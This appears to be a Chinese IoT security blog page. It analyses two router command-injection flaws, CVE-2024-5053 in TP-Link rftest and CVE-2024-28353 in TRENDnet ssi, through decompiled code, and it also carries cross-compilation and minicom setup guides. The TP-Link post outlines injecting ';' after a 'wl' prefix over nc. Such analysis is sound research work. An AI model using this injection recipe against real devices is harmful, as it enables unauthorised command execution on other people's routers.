OneShell

I fight for a brighter tomorrow

0%

漏洞描述

CVE-2024-5053是发生在三频游戏路由器TP-Link Archer C4500X,固件版本1_1.1.6及之前的认证前命令执行漏洞,漏洞发生在程序rftest中。该程序是和射频测试相关的,用于帮助AP进行无线接口自评价,程序会监听在TCP端口8888、8889、8890上。未授权的攻击者可以向这些端口发送构造的请求包,进行命令注入。

存在漏洞的固件和更新后的固件可以在此处下载:Download for Archer C5400X | TP-Link

漏洞分析

首先分析存在漏洞的程序rftest是如何启动的,然后分析rftest是怎么从监听端口获取数据,并进行处理,直到命令注入点。

rftest的启动流程如下:

  1. 在自启动脚本/etc/init.d/wireless中,执行命令/sbin/wifi init
  2. 脚本/sbin/wifi中,导入脚本/lib/wifi/tplink_brcm.sh,然后执行导入的函数wifi_init
  3. 在导入脚本/lib/wifi/tplink_brcm.sh中,发生函数调用流程:wifi_init -> wifi_start -> wifi_start_calibrate -> wifi_start_rftest -> rftest
  4. 在最后的rftest函数中,启动程序:/usr/sbin/rftest
    undefined

此处分析程序rftest怎么触发到漏洞函数。在main函数中,依次调用函数FUN_00012a50FUN_00012b00FUN_00012bb0分别创建并监听在TCP端口8888、8889、8890端口,简单小结如下:

  • main函数:分别调用三个函数在各自端口监听
  • 以函数FUN_00012a50为例:fork创建子进程
  • 子进程中执行函数FUN_0001218c:创建tcp连接,监听,处理请求连接,并使用fork创建子进程处理连接数据
  • 处理数据的子进程执行函数FUN_00011538:校验数据,构造参数,形成命令到函数popen执行。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    undefined4 main(void)

    {
    int iVar1;

    iVar1 = __stack_chk_guard;
    /* 监听8888端口 */
    FUN_00012a50();
    /* 监听8889端口 */
    FUN_00012b00();
    /* 监听8890端口 */
    FUN_00012bb0();
    if (iVar1 == __stack_chk_guard) {
    return 0;
    }
    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
    }

三个函数的代码类似,都是在函数中使用fork创建子进程,然后在子进程中监听端口,以函数FUN_00012a50为例。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void FUN_00012a50(void)
{
......
pid = fork();
if (pid < 0) {
......
}
}
else {
if (pid == 0) {
prctl(0xf,"rftest",0,0,0);
FUN_0001218c();
exit(0);
}
......
}
......
}

子进程中实现了一个基本的TCP服务器功能,包括:创建socket、绑定端口、监听端口、接受连接、使用多进程处理客户端请求,其中需要注意的就是在绑定的网络端口是以小端的形式存储的,实际上的端口应该是0x22b8=8888。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78

/* WARNING: Restarted to delay deadcode elimination for space: ram */

void FUN_0001218c(void)

{
......
sockaddr_in local_16c;

local_2c = __stack_chk_guard;
local_16c.sin_addr.s_addr = 0;
local_16c.sin_zero[0] = '\0';
local_16c.sin_zero[1] = '\0';
local_16c.sin_zero[2] = '\0';
local_16c.sin_zero[3] = '\0';
local_16c.sin_zero[4] = '\0';
local_16c.sin_zero[5] = '\0';
local_16c.sin_zero[6] = '\0';
local_16c.sin_zero[7] = '\0';
/* 端口小端存储,实际上是0x22b8=8888 */
local_16c.sin_port = 0xb822;
local_16c.sin_family = 2;
/* 创建socket */
sock_fd = socket(2,1,0);
if ((int)sock_fd < 0) {
perror("create socket error!\n");
puts("create socket error!");
}
else {
puts("rftest socket create success!");
/* 绑定端口 */
iVar3 = bind(sock_fd,(sockaddr *)&local_16c,0x10);
if (iVar3 < 0) {
printf("socket bind error! bind return value:%d \n");
}
else {
/* 监听端口 */
iVar3 = listen(sock_fd,5);
if (-1 < iVar3) {
......
/* 使用select处理连接 */
iVar4 = select(sock_fd + 1,__readfds,(fd_set *)0x0,(fd_set *)0x0,(timeval *)0x0);
if ((uVar1 & *(uint *)(local_15c + iVar3 * 4 + 0x30)) != 0) goto code_r0x000122e0;
goto LAB_00012350;
}
printf("socket listen error! listen return value:%d \n");
}
}
......
/* 接受新的连接 */
local_170 = 0x10;
iVar9 = 0;
DAT_00026858 = accept(sock_fd,(sockaddr *)&local_16c,&local_170);
piVar8 = (int *)local_15c;
while (-1 < *piVar8) {
iVar9 = iVar9 + 1;
piVar8 = piVar8 + 1;
if (iVar9 == 0xc) {
perror("too many clients");
printf("too many clients");
/* WARNING: Subroutine does not return */
exit(-1);
}
}
*(int *)(local_15c + iVar9 * 4) = DAT_00026858;
if (0 < iVar4) {
LAB_00012350:
__pid = fork();
/* 使用多进程进行数据处理 */
if (__pid == 0) {
close(sock_fd);
FUN_00011538(DAT_00026858);
goto LAB_00012474;
}
......
}
goto LAB_0001229c;
}

进一步深入到多进程执行的漏洞函数FUN_00011538中,对传入的数据进行了相关的处理后,送入到命令执行函数popen函数中执行。数据处理的流程比较繁琐,大概就是构造执行命令的参数。此处就可以使用命令注入字符,例如;,直接进行命令执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
iVar6 = strncmp((char *)pbVar16,"wl",2);
......
iVar6 = strncmp((char *)pbVar17,"nvram",5);
if (iVar6 == 0) {
pcVar9 = strstr((char *)(pbVar17 + 5),"get");
if (pcVar9 == (char *)0x0) {
FUN_00011138(local_102c);
}
else {
pFVar10 = popen((char *)local_102c,"r");
memset(acStack_2158,0,100);
if (pFVar10 == (FILE *)0x0) {
*__s = 0x2023;
(&DAT_0002385a)[iVar1] = 0;
}

漏洞复现

该漏洞可以使用qemu的用户级仿真搭建即可,为了更好看到程序执行的log打印,以及rftest调用其他程序,采用将qemu-arm-static复制到根目录,然后chroot运行的方式。

1
sudo chroot . ./qemu-arm-static ./bin/sh

如下,成功启动,并开启了三个进程(线程)监听端口。
undefined

此时使用nc访问端口,输入以wl字符串开头,进行命令注入,成功触发命令执行。
undefined

小结

该漏洞从静态分析的角度思考,一般来说很难手工定位到、然后分析该程序,除非是在真实设备上查看端口、端口运行程序,或许能够定位到该程序并开展漏洞挖掘。

漏洞描述

CVE-2024-28353是发生在厂商TRENDNET,设备TEW-827DRU,固件版本2.10B01中的命令执行。攻击者可以通过页面smbserver.asp,向apply.cgi发送数据包,在参数usapps.config.smb_admin_name处执行命令注入。

漏洞相关信息和固件下载地址如下:

漏洞成因

通过漏洞公告搜索字符串usbapps.config.smb_admin_name,可以定位到漏洞发生在程序/www/cgi/ssi,函数FUN_0041af68中,参数usbapps.config.smb_admin_name的值没有经过校验随后送入到system函数中执行,导致命令注入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
char * FUN_0041af68(undefined4 param_1)

{
undefined4 post_smb_admin_name;
int post_smb_user;
char *post_smb_enable;
int smb_username;
char acStack_3c [52];

post_smb_user = FUN_00410e4c();
if (post_smb_user == 0) {
post_smb_admin_name = uci_safe_get("usbapps.config.smb_admin_name");
// 此处存在命令注入
_system("deluser %s",post_smb_admin_name);
for (smb_username = 0; smb_username < 0x19; smb_username = smb_username + 1) {
sprintf(acStack_3c,"usbapps.@smb[%d].username",smb_username);
post_smb_user = uci_safe_get(acStack_3c);
if (post_smb_user == 0) break;
_system("smbpasswd -x %s",post_smb_user);
_system("deluser %s",post_smb_user);
}
__post2nvram(param_1);
system("uci commit usbapps");
post_smb_enable = (char *)uci_safe_get("usbapps.config.smb_enable");
post_smb_user = atoi(post_smb_enable);
if (post_smb_user == 1) {
system("/etc/init.d/samba enable");
system("/etc/init.d/samba restart");
}
else {
system("/etc/init.d/samba stop");
system("/etc/init.d/samba disable");
smb_username = 0;
while( true ) {
sprintf(acStack_3c,"samba.@sambashare[%d].name",smb_username);
post_smb_enable = (char *)uci_safe_get(acStack_3c);
if (*post_smb_enable == '\0') break;
_system("uci delete samba.@sambashare[%d]",smb_username);
smb_username = smb_username + 1;
}
system("uci commit samba");
}
sleep(1);
uci_free();
post_smb_enable = (char *)get_response_page();
}
else {
make_back_msg("Read only user cannot save settings.");
post_smb_enable = "error.asp";
}
return post_smb_enable;
}

搜索该函数的交叉引用,没有发现调用地址,猜测是通过回调函数的方式注册。通过分析,在main函数中调用的函数dump_action或者函数dump_apply中有设置根据传入的action调用回函函数的代码,例如在函数dump_action中,可以进一步定位到函数get_handler_by_action(原函数FUN_0043f290)是根据传入的action获取到相关结构体指针。在地址0x004edc50恢复action_handlers结构体数组,数组中的结构体定义大致如下:

1
2
3
4
5
0x0	0x4	addr	pointer	action	具体的action
0x4 0x4 addr pointer unknown0
0x8 0x4 addr pointer unknown1
0xc 0x4 addr pointer handler action对应的处理函数
0x10 0x4 addr pointer unknown2

恢复出来的结构体数组大致如下,此处仅仅展示漏洞函数FUN_0041af68相关的action_handler,其中action=samba36,负责处理的函数是FUN_0041af68。

1
2
3
4
5
6
7
8
9
004ee254 c8 7e 4c 00   action_handler                       [76]
00 00 00 00
00 00 00 00
004ee254 c8 7e 4c 00 addr s_samba36_004c7ec8 action 具体的action
004ee258 00 00 00 00 addr 00000000 unknown0
004ee25c 00 00 00 00 addr 00000000 unknown1
004ee260 68 af 41 00 addr FUN_0041af68 handler action对应的处理
004ee264 70 56 4f 00 addr PTR_s_usbapps.confi unknown2 = 004c3514

数据流分析

该程序的web server是/usr/sbin/uhttpd,启动命令如下,可以看到很多文件名后缀例如asp、cgi、js等都是通过/www/cgi/ssi进行处理。

1
/usr/sbin/uhttpd -f -h /www -r TEW-827DRU -x /cgi-bin -t 120 -T 30 -A 1 -n 64 -D -R -p 0.0.0.0:80 -p [::]:80 -i .sh /bin/sh -i .asp /www/cgi/ssi -i .cgi /www/cgi/ssi -i .js /www/cgi/ssi -i .xml /www/cgi/ssi -i .txt /www/cgi/ssi -v /public_tew.js -v /uk*.js -v /reject.asp -v /apply_sec.cgi -v /test_mode.cgi -v /log_clear_page.cgi -v /cgi-bin/luci -v /cgi-bin/ozker -v /luci-static/* -v /js/* -v /chklst.txt -I login_pic.asp -C /etc/uhttpd.crt -K /etc/uhttpd.key -s 0.0.0.0:443 -s [::]:443

在程序uhttpd中,通过fork + execl的方式,根据请求文件后缀,使用环境变量和标准数据将待处理数据传入到/www/cgi/ssi中,代码位于函数uh_cgi_request_with_ssc中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
undefined4 uh_cgi_request_with_ssc(int *param_1,astruct *script_struct,char *cgi_name,int param_4)

{
......
/* 重定向 */
iVar1 = pipe(&local_8c);
if ((iVar1 < 0) || (iVar1 = pipe(&local_94), iVar1 < 0)) {
if (0 < local_8c) {
close(local_8c);
}
if (0 < local_88) {
close(local_88);
}
if (0 < local_94) {
close(local_94);
}
if (0 < local_90) {
close(local_90);
}
......
}
/* 使用fork创建子进程 */
_Var3 = fork();
if (_Var3 == -1) {
piVar2 = __errno_location();
tmp_env_value = strerror(*piVar2);
pcVar9 = "Failed to fork child: %s\n";
goto ERROR_500;
}
......
/* 设置相关环境变量 */
clearenv();
setenv("GATEWAY_INTERFACE","CGI/1.1",1);
setenv("SERVER_SOFTWARE","uHTTPd",1);
setenv("PATH","/sbin:/usr/sbin:/bin:/usr/bin",1);
if (*param_1 != 0) {
setenv("HTTPS","on",1);
}
piVar2 = param_1 + 0x4a2;
tmp_env_value = (char *)sa_straddr(piVar2);
setenv("SERVER_NAME",tmp_env_value,1);
tmp_env_value = (char *)sa_straddr(piVar2);
setenv("SERVER_ADDR",tmp_env_value,1);
piVar10 = param_1 + 0x4a9;
tmp_env_value = (char *)sa_strport(piVar2);
setenv("SERVER_PORT",tmp_env_value,1);
tmp_env_value = (char *)sa_straddr(piVar10);
setenv("REMOTE_HOST",tmp_env_value,1);
tmp_env_value = (char *)sa_straddr(piVar10);
setenv("REMOTE_ADDR",tmp_env_value,1);
tmp_env_value = (char *)sa_strport(piVar10);
setenv("REMOTE_PORT",tmp_env_value,1);
setenv("SCRIPT_NAME",script_struct->script_name,1);
setenv("SCRIPT_FILENAME",script_struct->script_filename,1);
setenv("DOCUMENT_ROOT",script_struct->document_root,1);
tmp_env_value = script_struct->envs;
if (tmp_env_value == (char *)0x0) {
tmp_env_value = "";
}
setenv("QUERY_STRING",tmp_env_value,1);
if (script_struct->field3_0xc != (char *)0x0) {
setenv("PATH_INFO",script_struct->field3_0xc,1);
}
if (param_1[0x41d] == 0x194) {
tmp_env_value = "404";
}
else {
tmp_env_value = "200";
}
setenv("REDIRECT_STATUS",tmp_env_value,1);
setenv("SERVER_PROTOCOL",*(char **)(http_versions + param_1[0x41c] * 4),1);
setenv("REQUEST_METHOD",(&http_methods)[param_1[0x41b]],1);
setenv("REQUEST_URI",(char *)param_1[0x41e],1);
if (param_1[0x45f] != 0) {
setenv("REMOTE_USER",(char *)(param_1[0x45f] + 0x1000),1);
}
ppcVar11 = (char **)(param_1 + 0x420);
iVar1 = 0;
do {
local_30 = ppcVar11[-1];
if (local_30 == (char *)0x0) break;
iVar5 = strcasecmp(local_30,"Accept");
if (iVar5 == 0) {
tmp_env_value = "HTTP_ACCEPT";
LAB_00408ea8:
setenv(tmp_env_value,*ppcVar11,1);
}
else {
iVar5 = strcasecmp(local_30,"Accept-Charset");
if (iVar5 == 0) {
tmp_env_value = "HTTP_ACCEPT_CHARSET";
goto LAB_00408ea8;
}
iVar5 = strcasecmp(local_30,"Accept-Encoding");
if (iVar5 == 0) {
tmp_env_value = "HTTP_ACCEPT_ENCODING";
goto LAB_00408ea8;
}
iVar5 = strcasecmp(local_30,"Accept-Language");
if (iVar5 == 0) {
tmp_env_value = "HTTP_ACCEPT_LANGUAGE";
goto LAB_00408ea8;
}
iVar5 = strcasecmp(local_30,"Authorization");
if (iVar5 == 0) {
tmp_env_value = "HTTP_AUTHORIZATION";
goto LAB_00408ea8;
}
iVar5 = strcasecmp(local_30,"Connection");
if (iVar5 == 0) {
tmp_env_value = "HTTP_CONNECTION";
goto LAB_00408ea8;
}
iVar5 = strcasecmp(local_30,"Cookie");
if (iVar5 == 0) {
tmp_env_value = "HTTP_COOKIE";
goto LAB_00408ea8;
}
iVar5 = strcasecmp(local_30,"Host");
if (iVar5 == 0) {
tmp_env_value = "HTTP_HOST";
goto LAB_00408ea8;
}
iVar5 = strcasecmp(local_30,"Referer");
if (iVar5 == 0) {
tmp_env_value = "HTTP_REFERER";
goto LAB_00408ea8;
}
iVar5 = strcasecmp(local_30,"User-Agent");
if (iVar5 == 0) {
tmp_env_value = "HTTP_USER_AGENT";
goto LAB_00408ea8;
}
iVar5 = strcasecmp(local_30,"Content-Type");
if (iVar5 == 0) {
tmp_env_value = "CONTENT_TYPE";
goto LAB_00408ea8;
}
iVar5 = strcasecmp(local_30,"Content-Length");
if (iVar5 == 0) {
tmp_env_value = "CONTENT_LENGTH";
goto LAB_00408ea8;
}
}
iVar1 = iVar1 + 2;
ppcVar11 = ppcVar11 + 2;
} while (iVar1 != 0x40);
......
/* 根据cgi_name传递参数调用execl */
if (cgi_name == (char *)0x0) {
execl(script_struct->script_filename,script_struct->script_filename,0);
cgi_name = script_struct->script_filename;
}
else {
memset(acStack_54,0,0x24);
memset(acStack_78,0,0x24);
tmp_env_value = getenv("SERVER_PORT");
iVar1 = strcmp(tmp_env_value,"80");
if (iVar1 == 0) {
tmp_env_value = getenv("REQUEST_METHOD");
iVar1 = strcmp(tmp_env_value,"POST");
if ((iVar1 != 0) || (iVar1 = strcmp((char *)param_1[0x41e],"/test_mode.cgi"), iVar1 == 0))
goto LAB_00408fac;
LAB_00409004:
__stream = fopen("/tmp/csrf_hash","r");
if (__stream == (FILE *)0x0) {
iVar1 = strncmp((char *)param_1[0x41e],"/apply_sec.cgi",0xd);
LAB_00409154:
if (iVar1 == 0) goto EXEC_SCRIPT;
}
else {
fgets(acStack_78,0x24,__stream);
sVar6 = strlen(acStack_78);
acStack_78[sVar6 - 1] = '\0';
fscanf(__stream,"%lld",&local_80);
fclose(__stream);
unlink("/tmp/csrf_hash");
time((time_t *)&local_98);
uVar4 = (uint)(local_98 < local_98 - local_80);
uVar8 = ((int)local_98 >> 0x1f) - local_7c;
if (((int)(uVar8 - uVar4) < 1) && ((uVar8 != uVar4 || (local_98 - local_80 < 0x12d)))) {
tmp_env_value = getenv("QUERY_STRING");
tmp_env_value = strstr(tmp_env_value,"csrf_token");
if (tmp_env_value != (char *)0x0) {
strncpy(acStack_54,tmp_env_value + 0xb,0x20);
iVar1 = strcmp(acStack_54,acStack_78);
goto LAB_00409154;
}
}
}
......
EXEC_SCRIPT:
if (param_4 == 0) {
execl(cgi_name,cgi_name,script_struct->script_filename,0);
}
else {
......
execl(cgi_name,cgi_name,"-n",script_struct->script_filename,0);
}
}
exit(0);
}

通过动态调试可以查看到/www/cgi/ssi启动的参数和环境变量如下,此时是登录数据包触发:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
pwndbg> stack 40
00:0000│ sp 0x7fd4b7a0 ◂— 0x2
01:0004│ 0x7fd4b7a4 —▸ 0x7fd4bbe0 ◂— '/www/cgi/ssi'
02:0008│ 0x7fd4b7a8 —▸ 0x7fd4bbed ◂— '/www/apply_sec.cgi'
03:000c│ 0x7fd4b7ac ◂— 0x0
04:0010│ 0x7fd4b7b0 —▸ 0x7fd4bc00 ◂— 'GATEWAY_INTERFACE=CGI/1.1'
05:0014│ 0x7fd4b7b4 —▸ 0x7fd4bc1a ◂— 'SERVER_SOFTWARE=uHTTPd'
06:0018│ 0x7fd4b7b8 —▸ 0x7fd4bc31 ◂— 'PATH=/sbin:/usr/sbin:/bin:/usr/bin'
07:001c│ 0x7fd4b7bc —▸ 0x7fd4bc54 ◂— 'SERVER_NAME=192.168.10.1'
08:0020│ 0x7fd4b7c0 —▸ 0x7fd4bc6d ◂— 'SERVER_ADDR=192.168.10.1'
09:0024│ 0x7fd4b7c4 —▸ 0x7fd4bc86 ◂— 'SERVER_PORT=80'
0a:0028│ 0x7fd4b7c8 —▸ 0x7fd4bc95 ◂— 'REMOTE_HOST=192.168.10.2'
0b:002c│ 0x7fd4b7cc —▸ 0x7fd4bcae ◂— 'REMOTE_ADDR=192.168.10.2'
0c:0030│ 0x7fd4b7d0 —▸ 0x7fd4bcc7 ◂— 'REMOTE_PORT=42542'
0d:0034│ 0x7fd4b7d4 —▸ 0x7fd4bcd9 ◂— 'SCRIPT_NAME=/apply_sec.cgi'
0e:0038│ 0x7fd4b7d8 —▸ 0x7fd4bcf4 ◂— 'SCRIPT_FILENAME=/www/apply_sec.cgi'
0f:003c│ 0x7fd4b7dc —▸ 0x7fd4bd17 ◂— 'DOCUMENT_ROOT=/www'
10:0040│ 0x7fd4b7e0 —▸ 0x7fd4bd2a ◂— 'QUERY_STRING=csrf_token=l6E0vYH10z748RVAnr1p1uk5pxUK0Tcr'
11:0044│ 0x7fd4b7e4 —▸ 0x7fd4bd63 ◂— 'REDIRECT_STATUS=200'
12:0048│ 0x7fd4b7e8 —▸ 0x7fd4bd77 ◂— 'SERVER_PROTOCOL=HTTP/1.1'
13:004c│ 0x7fd4b7ec —▸ 0x7fd4bd90 ◂— 'REQUEST_METHOD=POST'
14:0050│ 0x7fd4b7f0 —▸ 0x7fd4bda4 ◂— 'REQUEST_URI=/apply_sec.cgi?csrf_token=l6E0vYH10z748RVAnr1p1uk5pxUK0Tcr'
15:0054│ 0x7fd4b7f4 —▸ 0x7fd4bdeb ◂— 'HTTP_HOST=192.168.10.1'
16:0058│ 0x7fd4b7f8 —▸ 0x7fd4be02 ◂— 'CONTENT_LENGTH=154'
17:005c│ 0x7fd4b7fc —▸ 0x7fd4be15 ◂— 'CONTENT_TYPE=application/x-www-form-urlencoded'
18:0060│ 0x7fd4b800 —▸ 0x7fd4be44 ◂— 'HTTP_USER_AGENT=Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36'
19:0064│ 0x7fd4b804 —▸ 0x7fd4beba ◂— 'HTTP_ACCEPT=text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7'
1a:0068│ 0x7fd4b808 —▸ 0x7fd4bf4e ◂— 'HTTP_REFERER=http://192.168.10.1/smbserver.asp'
1b:006c│ 0x7fd4b80c —▸ 0x7fd4bf7d ◂— 'HTTP_ACCEPT_ENCODING=gzip, deflate'
1c:0070│ 0x7fd4b810 —▸ 0x7fd4bfa0 ◂— 'HTTP_ACCEPT_LANGUAGE=zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7'
1d:0074│ 0x7fd4b814 —▸ 0x7fd4bfd9 ◂— 'HTTP_CONNECTION=close'
1e:0078│ 0x7fd4b818 ◂— 0x0

在程序/www/cgi/ssi,会调用相关函数__post2nvram_range__post2nvram将从uhttpd传递的参数解析成uci键值对并保存,以供后续代码使用。主要原理是通过函数uci_set_list、uci_set_option来设置uci键值对、通过函数uci_safe_get来获取uci键值对。

因此,对于程序/www/cgi/ssi进行数据流分析,可以重点关注环境变量、uci获取键值这两个关键点做source。

平台复现

通过之前的分析,可以得到数据的一个source点是调用函数uci_safe_get的地方,因此,可以在图数据库中使用如下的语句设置source点:

1
2
3
4
MATCH (n:identifier)
WHERE n.callee CONTAINS 'uci_safe_get' AND n.index = -1
SET n.is_source = 1
RETURN n.function

调用平台的命令执行规则组,修改类system函数第二个参数,可被用户控制中的规则,添加新的一个函数_system,因为在该程序中函数_system的第一个参数是格式化字符串,第二个参数是可控传入变量。
undefined

该漏洞可以被扫描出来。
undefined

在IoT安全研究过程中,有时候我们出于调试或者增加设备功能的目的,需要将程序交叉编译上传到设备中,这个时候就需要构建交叉编译工具链。我曾经尝试过多种构造交叉编译工具链的方法,例如:

  • 寻找对应架构的Debian虚拟机并使用qemu进行系统级仿真,然后像使用一个正常系统一样进行程序编译
  • 使用buildroot编译交叉编译工具链
  • 使用系统源安装相应的交叉编译工具链

在构造的过程中也踩过很多坑,可以列举一下踩过的比较典型的:

  • 以mips架构有I、II、III型,网上的Debian虚拟机往往是高版本类型。高版本类型的好处是可以向下兼容,因此很多系统级的仿真可以直接chroot到设备根目录运行程序;但是对于交叉编译的坏处就是没法编译低版本架构的程序
  • 高版本的buildroot中没有对低版本架构的配置
  • 同样系统源安装的交叉编译工具链也是没有对低版本架构
  • 在不同的设备上安装buildroot可能需要解决各种包依赖问题

这个时候就引出了我的一个需求:如何才能在一个新的工作环境中快速搭建起来一套交叉编译工具链,并且这个交叉编译工具链还能支持较老的低版本架构CPU。

第一个问题:我参考了Google内核fuzz工具syzkaller中的create-image.sh,这个脚本基于命令debootstrap,能够快速搭建指定发行版、架构、软件包的一个Debian文件系统镜像。我稍微修改此脚本,得到了一个能够支持某个指定版本的buildroot的文件系统,以后使用的时候直接chroot到根目录,就能愉快构造编译链了 + 交叉编译了。

第二个问题:我是选择了buildroot-2013.02-rc1作为长期使用的版本,这个版本足够老、支持足够多、足够旧的CPU架构。目前在我的日常使用中来看,已经够用了。

我在Github上创建了一个仓库,里面是创建文件系统和buildroot的脚本,以及静态编译好的适配各个架构的常用程序,后续持续更新。

GitHub - NoneShell/buildrooter

Debian wheezy文件系统搭建

克隆仓库,然后直接运行create-image.sh,会创建一个Debian wheezy的文件系统:

1
2
3
git clone https://github.com/NoneShell/buildrooter.git
cd buildrooter
./create-image.sh

创建完成后,进入chroot目录,这个就是一个Debian wheezy的文件系统,通过这种方式就可以保证所有的Linux都能以后续相同的操作,得到一个100%能成功编译的环境。
undifined

chroot到目录后,根据个人习惯可以做一些设置,此时已经和正常使用一个Debian系统没有区别了。我会设置好TERM和locales,因为我平常使用tmux,一些命令例如clear会报错tmux-256 colors;locales则是Busybox编译的时候会报错让至少使用一个UTF-8的locale。

1
2
export TERM=xterm
dpkg-reconfigure locales

buildroot编译

1
2
wget https://buildroot.org/downloads/buildroot-2013.02-rc1.tar.gz --no-check-certificate
tar -xvf ./buildroot-2013.02-rc1.tar.bz2

我使用的是tmux,例如使用命令clear的时候会报错:'tmux-256color': unknown terminal type.,可以每次手动设置如下,我选择写入到了.bashrc中

1
export TERM=xterm

以最近在看的一个目标为例,使用file查看目标的架构如下,mipsel架构,且是version 1,SYSV。目标是编译出来能够在设备上运行的busybox、gdbserver和nc,自己编译的busybox可以使其支持更多的命令,gdbserver是调试必备,nc用来做端口转发、程序运行等。
undifined

首先是编译符合目标架构的交叉编译工具链,进入buildroot目录中,执行make menuconfig,进入配置菜单。

undifined

如果仅仅是为了交叉编译工具链,不需要额外设置太多,选择好目标架构、架构版本、ABI是默认O32,然后在Toolchain中选择想要支持的特性即可。有一个地方一定要修改,就是Kernel Header选择Manually specified Linux version,并设置成3.7.1。默认设置是3.7.x,但是在实际make的时候下载不到相应的的Header文件。gdb和gdbserver我没有选择,因为一般是习惯将gdbserver放到设备上运行,然后在本机使用gdb连接进行调试。
undifined

编译交叉编译工具链,只需要执行make toolchain即可,我之前看过很多网上的教程都是直接make,这样会同时编译出来rootfs和kernel,消耗大量时间。

1
make toolchain

编译完成的交叉编译工具链路径在/output/host/usr/bin目录中,可以将目录host重命名成host_arch,例如host_LSB_MIPS_MIPS-I_SYSV,这样下次编译新的架构的工具链时,make clean不会删除掉已经编译好的架构的工具链。我的命名习惯是根据file查看的目标程序的信息来重命令文件夹,如下是此次演示的目标架构:
undifined

为了使用方便,可以把工具链的路径添加到PATH环境变量中,写入到.bashrc,后续编译程序的时候,指定CC/CXX时就不用输入完整的路径,日常使用的时候也可以在终端tab补全。

1
export PATH=/root/buildroot-2013.02-rc1/output/host_LSB_MIPS_MIPS-I_SYSV/usr/bin:$PATH

undifined

静态编译实例

当交叉编译工具链制作完成了,交叉编译自己的程序实际上和正常x86/64下的编译没有太大的区别,可能需要踩的坑就是ulibc中的一些系统库缺少需要自己编译并链接、编译版本太新的程序可能会有符号引用报错等,总之就是遇见坑GPT、Google。

busybox

buildroot自带的package中就有busybox,编译前先将目标架构的host_target目录复制一份为host目录,这样buildroot才能正确设置编译相关的参数。
undifined

在buildroot根目录使用命令make busybox-menuconfig进行配置,进入busybox的配置菜单设置静态链接:

  • Busybox Settings -> Build Options -> Build Busybox as a static binary,选择静态编译。
  • CFLAGS和LDFLAGS都添加上-s,编译后strip掉符号,减少存储占用。
  • 在Applets区域选择需要额外增加的功能/命令,例如我会额外勾选上网络相关的nc、ftpd、telnetd,进程相关的pstree,总之根据个人习惯和需求添加。

undifined

然后make busybox即可编译出来静态链接、去除掉符号、增加了额外命令的Busybox,路径:/output/target/busybox
undifined

gdbserver

没有编译gdb有两个原因,第一个是因为平常调试的时候一般是将gdbserver复制到设备上,然后本机使用gdb remote进行调试;第二个原因是,gdb交叉编译太多坑了,我各种配置都没有成功,最后选择了放弃(shame on me)。

下载源码,我选择的版本是7.12,这个版本不需要额外编译termcap库而是使用了较新的ncurses库,这样可以减少额外的编译工作量。

1
2
3
4
5
6
wget https://ftp.gnu.org/gnu/gdb/gdb-7.12.tar.gz --no-check-certificate
tar -xvf gdb-7.12.tar.gz
cd gdb-7.12/gdb/gdbserver # 进入gdbserver的代码目录
sed -i -e 's/srv_linux_thread_db=yes//' configure.srv
./configure --target=mipsel-linux --host=mipsel-linux
make CXXFLAGS="-fPIC -static -lpthread -s"

编译完成如下:
undifined

小结

通过创建Debian wheezy文件系统 + chroot的方式,可以忽略宿主机的版本问题;buildroot采用较老版本,这样可以支持更多较旧的CPU型号,尤其是MIPS。

在编译复杂程序的时候,还是可能会踩坑,例如buildroot编译出来的工具链的系统库中没有程序编译依赖的库。总之,只是大概解决了交叉编译问题,实际上最好的解决方案是拿到官方的SDK(我在说什么???)。

minicom是在Linux、Unix上常用的一款串口通信工具,可以通过串口连接计算机和其他的嵌入式设备,是一款开源软件。在IoT安全研究中,使用Mac或者Linux的人员可以使用minicom作为串口调试工具。

1
2
3
4
# Mac
brew install minicom
# minicom
sudo apt-get install mimicom

配置

基本配置

minicom在使用之前需要进行配置,使用如下的命令进入配置模式。

1
sudo minicom -s

进入minicom的配置模式之后,使用方向键选择需要配置的部分,一般来说,最基本的配置就是设置Serial port setup,对串口通信的设备、波特率等进行配置。如下是进入配置模式的主页面。配置完成后,可以回到主界面,选择将配置信息作为默认配置Save setup as dfl,或者保存为特定设备名的配置文件。我个人比较喜欢后者,设置一次保存为配置文件,后续对该设备连接直接sudo minocom 配置文件名即可。
undifined

以配置Serial port setup为例,最左边的大写字母可以快速跳转到对应的配置项,例如要配置串口通信设备,直接按下A便可配置Serial Device。具体的设备可以通过ls /dev/*查看连接到计算机的串口通信设备。配置完设备之后,回车,然后可以选择另外的配置选项,就不多赘述,例如直接按下E配置波特率。配置完所有必要的选项后,回车保存所有的设置,回到主配置页面。

undifined

回到主配置界面后:

  • Save setup as dfl:将当前配置作为minicom的默认配置
